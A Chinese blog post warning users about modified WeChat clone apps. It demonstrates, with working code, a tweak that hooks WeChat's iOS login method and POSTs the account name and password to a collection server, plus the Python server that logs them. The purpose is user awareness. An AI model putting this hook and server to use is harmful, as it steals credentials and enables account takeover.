看了這個,你還敢用分身版微信刷步嗎?
最近很多使用者把第三方修改的微信分身版各種瘋傳,不少人都安裝了不同功能的微信刷步分身版,不管是為了刷微信運動步數,一鍵轉發,一鍵評論還是帶有其它功能的微信分身版。
很顯然很多人安裝了這些分身版卻不知道其中可能存在的風險,這些微信分身版無非就是通過load command動態庫注入hook函式進行篡改,雖然你的手機沒有越獄,但是安裝了微信分身版後,你所用微信的所有資訊都暴露在別人的面前了。包括獲取你的微信賬號密碼,聊天記錄等等,所有的資訊,而且使用非官方的微信客戶端還容易被騰訊檢測封號。
下面【愛刷步】技術員就從如何獲取微信賬號密碼並傳到指定伺服器做一個簡單的分析,看完這個後,你安裝的分身版微信很可能就已經收集你的微信賬號和密碼。
首先進入微信登入介面,檢視ViewController的繼承關係:
[[[UIWindow keyWindow] rootViewController] _printHierarchy]
<MMUINavigationController 0×18392800>, state: appeared, view: <UILayoutContainerView 0x17f33790>
| <WCAccountLoginLastUserViewController 0x18b52600>, state: appeared, view: <UIView 0x192740d0>
可以得到當前的ViewController為WCAccountLoginLastUserViewController,跟蹤該類。然後點選登入按鈕,可以看到呼叫onNext方法。使用IDA進入裡面分析,可以得知是WCAccountLoginControlLogic類來負責處理具體的登入邏輯。跟蹤WCAccountLoginControlLogic可以發現登入的時候呼叫了
– (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}
其中傳的引數就是微信的賬號和密碼,現在演示一下如何攔截微信賬號密碼,併發送到指定伺服器。
既然需要一個伺服器來接受傳輸的資料,那麼就使用python的BaseHTTPRequestHandler來搭建一個簡單的伺服器。
#!/usr/bin/env python
# -*- conding:utf-8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qsDEFAULT_HOST = ''
DEFAULT_PORT = 8080
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
params=parse_qs(urlparse(self.path).query)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
#獲取賬號密碼
fread = open('./pwd.log','r')
lines = fread.readlines();
#每隔2秒重新整理一次
content = '<meta http-equiv="refresh" content="2">'
for line in lines:
content = content+line+'
'
# Send the message to browser
self.wfile.write(content)
returndef do_POST(self):
params=parse_qs(urlparse(self.path).query)
#儲存賬號密碼
fwrite = open('./pwd.log','a+')
fwrite.write("username=%s/n" % params['name'][0])
fwrite.write("pwd=%s/n" % params['pwd'][0])
fwrite.close()
self.send_response(200)
self.end_headers()
return
def run_server():
try:
server_address=(DEFAULT_HOST, DEFAULT_PORT)
server= HTTPServer(server_address,RequestHandler)
print "HTTP server started on port: %s" % DEFAULT_PORT
server.serve_forever()
except Exception, err:
print "Error:%s" %err
except KeyboardInterrupt:
print "Server interrupted and is shutting down..."
server.socket.close()if __name__ == "__main__":
run_server()
#!/usr/bin/env python # -*- conding:utf-8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServerfrom urlparse import urlparse, parse_qsDEFAULT_HOST = ''DEFAULT_PORT = 8080class RequestHandler(BaseHTTPRequestHandler):def do_GET(self):params=parse_qs(urlparse(self.path).query)self.send_response(200)self.send_header('Content-type','text/html')self.end_headers()#獲取賬號密碼fread = open('./pwd.log','r')lines = fread.readlines(); #每隔2秒重新整理一次content = '<meta http-equiv="refresh" content="2">'for line in lines:content = content+line+'
'# Send the message to browserself.wfile.write(content)returndef do_POST(self):params=parse_qs(urlparse(self.path).query)#儲存賬號密碼fwrite = open('./pwd.log','a+')fwrite.write("username=%s/n" % params['name'][0])fwrite.write("pwd=%s/n" % params['pwd'][0])fwrite.close()self.send_response(200)self.end_headers()returndef run_server():try:server_address=(DEFAULT_HOST, DEFAULT_PORT)server= HTTPServer(server_address,RequestHandler)print "HTTP server started on port: %s" % DEFAULT_PORTserver.serve_forever()except Exception, err:print "Error:%s" %errexcept KeyboardInterrupt:print "Server interrupted and is shutting down..."server.socket.close()if __name__ == "__main__":run_server()
好了,一個簡單的伺服器搭建好了,post用來接受從微信傳過來的賬號和密碼資訊並儲存到本地檔案,然後通過get不斷去請求重新整理獲取的賬號密碼。
編寫tweak攔截賬號密碼,併發送到剛剛搭建的伺服器上:
%hook WCAccountLoginControlLogic- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{
%log;NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&;pwd=%@",name,pwd]]];[request setTimeoutInterval:30];[request setHTTPMethod:@"POST"];[NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue]
completionHandler:^(NSURLResponse *respone,
NSData *data,
NSError *error)
{
NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone;
if(httpResponse.statusCode == 200){
NSLog(@"send pwd success!");
}
}];
}%end
%hook WCAccountLoginControlLogic- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{%log;NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&;pwd=%@",name,pwd]]];[request setTimeoutInterval:30];[request setHTTPMethod:@"POST"];[NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue]completionHandler:^(NSURLResponse *respone,NSData *data,NSError *error){ NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone; if(httpResponse.statusCode == 200){ NSLog(@"send pwd success!"); } }];}%end
重簽名微信,生成一個在非越獄機器上執行的微信分身版,這個已經在上一篇文章中講過。進入登入介面輸入賬號密碼,每次輸入賬號密碼就發把賬號密碼傳送到我們搭建的伺服器上面,然後在瀏覽器輸入http://localhost:8080/就能實時看到輸入的賬號密碼是什麼了。
上面只是一個簡單的演示,當然實際的分身版不可能寫的這麼簡單,一般都經過混淆和加密的,但是也就是說,一旦你安裝了微信分身版,那麼你微信上面所有的資訊都可能被監控,導致隱私洩露。
★★★ 從網上下了一個分身版的微信就在其中的dylib檔案中發現了上傳賬號密碼的程式碼 ★★★
所以即使你的手機沒有越獄,也不要去網上下載第三方修改的微信分身版,也不要去第三方渠道下載應用,因為很可能你在第三方渠道下載的應用就是被篡改過的。